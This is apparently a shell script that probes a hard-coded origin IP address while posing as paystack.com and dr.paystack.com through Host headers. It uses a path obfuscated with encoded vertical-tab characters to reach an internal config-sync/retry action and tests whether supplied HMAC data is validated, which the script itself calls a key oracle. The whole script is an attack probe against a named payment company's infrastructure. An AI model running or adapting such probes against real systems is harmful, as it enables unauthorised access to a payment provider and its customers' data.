14 lines
709 B
Bash
14 lines
709 B
Bash
#!/bin/sh
|
|
# Read-only key oracle on origin target group: config-sync/retry validates HMAC data
|
|
IP=52.51.74.51
|
|
DV='498f7a189c1e55adb5eb6a5eec83008c09b8a3c5690a97206e875221f1f4c6f6%7B%7D'
|
|
DBAD='0000000000000000000000000000000000000000000000000000000000000000%7B%7D'
|
|
rt() { # idx host data
|
|
f=/tmp/rt.$1
|
|
c=$(curl -sk -m 15 -o "$f" -w '%{http_code}' -H "Host: $2" -H 'Accept: application/json' -H 'Content-Type: application/x-www-form-urlencoded' --data "data=$3" "https://$IP/?p=Jzw5Zk9s47Ku9tCYJ%0b8y9PG8/act%0bions/config-sync/retry" 2>/dev/null)
|
|
echo "RT|$1|$2|$c|$(tr -d '\n\r' <"$f" 2>/dev/null | cut -c1-260)"
|
|
}
|
|
rt 1 paystack.com "$DV"
|
|
rt 2 dr.paystack.com "$DV"
|
|
rt 3 paystack.com "$DBAD"
|
|
echo DONE8B
|